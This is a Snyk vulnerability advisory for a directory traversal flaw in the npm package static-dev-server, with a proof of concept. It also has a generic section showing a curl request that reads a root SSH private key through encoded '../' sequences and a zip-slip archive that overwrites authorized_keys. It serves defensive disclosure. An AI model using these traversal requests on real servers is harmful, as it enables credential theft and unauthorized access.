snyk Vulnerability DB

Snyk Vulnerability Database › npm › static-dev-server

Directory Traversal

Affecting static-dev-server package, versions *

INTRODUCED: 28 NOV 2022 NEW CVE-2022-25848 CWE-22 FIRST ADDED BY SNYK

Share

How to fix?

There is no fixed version for `static-dev-server` .

Overview

static-dev-server is an A simple http server to serve static resource files from a local directory and auto reload when file change.

Affected versions of this package are vulnerable to Directory Traversal. This is because when paths from users to the root directory are joined, the assets for the path accessed are relative to that of the root directory.

PoC

1. Install the latest version of static-dev-server: npm install static-dev-server@1.0.0

2. Make sure you have a public/ directory with files in it

3. Make sure you have a public-isprivate directory with files in it

4)Make sure you have a private/ directory with files in it

5)All directories above should share the same relative parent, meaning the directory structure should look as follows:

```
. ├── private │ └── index.html ├── public │ └── index.html └── public-isprivate └── index.html
```

Then, run a server powered by static-dev-server as follows:

```
var StaticServer = require('static-dev-server'); var server = new StaticServer({ rootPath: 'public', //
required, the root of the server file tree name: 'my-http-server', // optional, will set "X-Powered-by"
HTTP header port: 3000, // optional, defaults to a random port host: '0.0.0.0', // optional, defaults to
any interface cors: '*', // optional, defaults to undefined followSymlink: true, // optional, defaults to
a 404 error templates: { index: 'foo.html', // optional, defaults to 'index.html' notFound: '404.html' //
optional, defaults to undefined } });
```

```
server.start(function () { console.log('Server listening to', server.port); });
```

which sets the public root directory to the public/ directory that we previously created:

The server should run within the local folder where all private/, public/, and public-isprivate are subfolders.

Next, verify the following:

1. `curl --path-as-is "http://localhost:3000/../private/index.html"` -> this request is denied, as expected with prior vulnerability fix.
2. `curl --path-as-is "http://localhost:3000/../public/index.html"` -> this request is allowed, as expected with the functionality of this local http server
3. `curl --path-as-is "http://localhost:3000/../public-isprivate/index.html"` -> this request SHOULD BE DENIED because it is outside the public/ folder, but it is actually allowed.

Case (3) shouldn't happen, but it does, due to an improper fix in the library's source code.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

`st` is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the `public` route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

```
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
```

Note `%2e` is the URL encoded version of `.` (dot).

- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`.

One way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a

Search by package name or CVE

7.5
HIGH

Snyk CVSS

Attack Complexity	Low
Confidentiality	HIGH

See more

› NVD 7.5 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Directory Traversal vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-JS-STATICDEVSERVER-3149917
Published	28 Nov 2022
Disclosed	28 Nov 2022
Credit	Liran Tal

Report a new vulnerability Found a mistake?

configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:

```
2018-04-15 22:04:29 ..... 19 19 good.txt 2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
```

References

- GitHub Gist

PRODUCT

Snyk Open Source

Snyk Code

Snyk Container

Snyk Infrastructure as Code

Test with Github

Test with CLI

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT